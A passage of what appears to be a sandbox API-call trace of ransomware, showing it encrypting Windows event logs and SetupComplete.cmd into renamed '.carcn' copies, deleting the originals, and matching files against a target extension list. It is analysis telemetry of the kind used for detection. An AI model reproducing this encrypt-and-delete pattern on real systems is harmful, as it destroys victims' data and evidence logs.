(lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.155] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0182.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.156] lstrlenW (lpString=".doc") returned 4 [0182.156] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".docx") returned 5 [0182.156] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.156] lstrlenW (lpString=".pdf") returned 4 [0182.156] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".xls") returned 4 [0182.156] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".xlsx") returned 5 [0182.156] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.156] lstrlenW (lpString=".ppt") returned 4 [0182.156] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.156] lstrlenW (lpString=".zip") returned 4 [0182.156] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".rar") returned 4 [0182.156] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".bz2") returned 4 [0182.156] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.156] lstrlenW (lpString=".7z") returned 3 [0182.157] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.157] lstrlenW (lpString=".dbf") returned 4 [0182.157] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.157] lstrlenW (lpString=".1cd") returned 4 [0182.157] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.157] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0182.157] lstrlenW (lpString=".jpg") returned 4 [0182.157] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.197] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0182.206] GetLastError () returned 0x0 [0182.206] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.218] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.220] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.220] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x146, lpOverlapped=0x0) returned 1 [0182.220] SetEndOfFile (hFile=0x390) returned 1 [0182.220] CloseHandle (hObject=0x390) returned 1 [0182.222] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.222] SetEndOfFile (hFile=0x384) returned 1 [0182.223] CloseHandle (hObject=0x384) returned 1 [0182.223] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.224] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0182.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.224] lstrlenW (lpString=".doc") returned 4 [0182.224] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString=".docx") returned 5 [0182.224] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.224] lstrlenW (lpString=".pdf") returned 4 [0182.224] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString=".xls") returned 4 [0182.224] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString=".xlsx") returned 5 [0182.224] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.224] lstrlenW (lpString=".ppt") returned 4 [0182.224] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.224] lstrlenW (lpString=".zip") returned 4 [0182.224] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString=".rar") returned 4 [0182.224] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.224] lstrlenW (lpString=".bz2") returned 4 [0182.224] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.225] lstrlenW (lpString=".7z") returned 3 [0182.225] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.225] lstrlenW (lpString=".dbf") returned 4 [0182.225] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.225] lstrlenW (lpString=".1cd") returned 4 [0182.225] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.225] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0182.225] lstrlenW (lpString=".jpg") returned 4 [0182.225] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.225] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.225] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.225] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0182.226] GetLastError () returned 0x0 [0182.226] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.380] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.382] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.382] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x178, lpOverlapped=0x0) returned 1 [0182.382] SetEndOfFile (hFile=0x390) returned 1 [0182.382] CloseHandle (hObject=0x390) returned 1 [0182.384] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.384] SetEndOfFile (hFile=0x384) returned 1 [0182.385] CloseHandle (hObject=0x384) returned 1 [0182.385] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.386] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0182.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.386] lstrlenW (lpString=".doc") returned 4 [0182.386] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.386] lstrlenW (lpString=".docx") returned 5 [0182.386] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.386] lstrlenW (lpString=".pdf") returned 4 [0182.386] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.386] lstrlenW (lpString=".xls") returned 4 [0182.386] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.386] lstrlenW (lpString=".xlsx") returned 5 [0182.386] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.386] lstrlenW (lpString=".ppt") returned 4 [0182.386] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.386] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.386] lstrlenW (lpString=".zip") returned 4 [0182.386] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.386] lstrlenW (lpString=".rar") returned 4 [0182.386] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.387] lstrlenW (lpString=".bz2") returned 4 [0182.387] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.387] lstrlenW (lpString=".7z") returned 3 [0182.387] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.387] lstrlenW (lpString=".dbf") returned 4 [0182.387] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.387] lstrlenW (lpString=".1cd") returned 4 [0182.387] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.387] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0182.387] lstrlenW (lpString=".jpg") returned 4 [0182.387] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.387] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.387] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.387] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0182.388] GetLastError () returned 0x0 [0182.388] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0xffff0, lpOverlapped=0x0) returned 1 [0182.599] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xffff0, lpOverlapped=0x0) returned 1 [0182.614] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x1010, lpOverlapped=0x0) returned 1 [0182.657] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x1020, lpOverlapped=0x0) returned 1 [0182.660] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.660] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x134, lpOverlapped=0x0) returned 1 [0182.660] SetEndOfFile (hFile=0x390) returned 1 [0182.660] CloseHandle (hObject=0x390) returned 1 [0182.678] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.678] SetEndOfFile (hFile=0x384) returned 1 [0182.679] CloseHandle (hObject=0x384) returned 1 [0182.679] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.679] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.680] lstrlenW (lpString=".doc") returned 4 [0182.680] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".docx") returned 5 [0182.680] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.680] lstrlenW (lpString=".pdf") returned 4 [0182.680] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".xls") returned 4 [0182.680] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".xlsx") returned 5 [0182.680] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.680] lstrlenW (lpString=".ppt") returned 4 [0182.680] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.680] lstrlenW (lpString=".zip") returned 4 [0182.680] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".rar") returned 4 [0182.680] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".bz2") returned 4 [0182.680] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString=".7z") returned 3 [0182.680] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.680] lstrlenW (lpString=".dbf") returned 4 [0182.680] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.680] lstrlenW (lpString=".1cd") returned 4 [0182.680] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0182.681] lstrlenW (lpString=".jpg") returned 4 [0182.681] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.681] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.681] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.681] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0182.681] GetLastError () returned 0x0 [0182.681] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.805] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.806] ReadFile (in: hFile=0x384, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0182.806] WriteFile (in: hFile=0x390, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xe8, lpOverlapped=0x0) returned 1 [0182.806] SetEndOfFile (hFile=0x390) returned 1 [0182.806] CloseHandle (hObject=0x390) returned 1 [0182.808] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0182.808] SetEndOfFile (hFile=0x384) returned 1 [0182.809] CloseHandle (hObject=0x384) returned 1 [0182.809] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.809] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0182.810] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.810] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.810] lstrlenW (lpString=".doc") returned 4 [0182.810] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".docx") returned 5 [0182.810] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.810] lstrlenW (lpString=".pdf") returned 4 [0182.810] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".xls") returned 4 [0182.810] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".xlsx") returned 5 [0182.810] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.810] lstrlenW (lpString=".ppt") returned 4 [0182.810] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.810] lstrlenW (lpString=".zip") returned 4 [0182.810] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".rar") returned 4 [0182.810] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".bz2") returned 4 [0182.810] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString=".7z") returned 3 [0182.810] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.810] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.810] lstrlenW (lpString=".dbf") returned 4 [0182.810] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.810] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.810] lstrlenW (lpString=".1cd") returned 4 [0182.811] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.811] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0182.811] lstrlenW (lpString=".jpg") returned 4 [0182.811] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 Thread: id = 14 os_tid = 0x654 [0157.933] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3ae0720 [0157.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3af0728 [0157.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecb88 [0157.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x81d248 [0157.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eccc0 [0157.934] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3ce9020 [0157.937] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecc48 [0157.937] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecc48, Size=0x20) returned 0x7cec80 [0157.937] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ecd68 [0157.937] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ecd68, Size=0x20) returned 0x7cea00 [0157.937] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0157.938] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0157.938] Wow64DisableWow64FsRedirection (in: OldValue=0x312ff50 | out: OldValue=0x312ff50*=0x0) returned 1 [0157.938] lstrlenW (lpString="kernel32.dll") returned 12 [0157.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cec80 | out: hHeap=0x790000) returned 1 [0157.938] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea00 | out: hHeap=0x790000) returned 1 [0157.938] Sleep (dwMilliseconds=0x64) [0158.074] lstrcmpiW (lpString1=".cmd", lpString2=".carcn") returned 1 [0158.074] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0158.074] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.292] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=307) returned 1 [0158.293] CloseHandle (hObject=0x2e4) returned 1 [0158.293] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0158.293] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.293] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.293] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.293] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.293] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0158.293] GetLastError () returned 0x0 [0158.293] ReadFile (in: hFile=0x2e4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x133, lpOverlapped=0x0) returned 1 [0158.303] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x140, lpOverlapped=0x0) returned 1 [0158.304] ReadFile (in: hFile=0x2e4, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.304] WriteFile (in: hFile=0x2e8, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x312fc94, 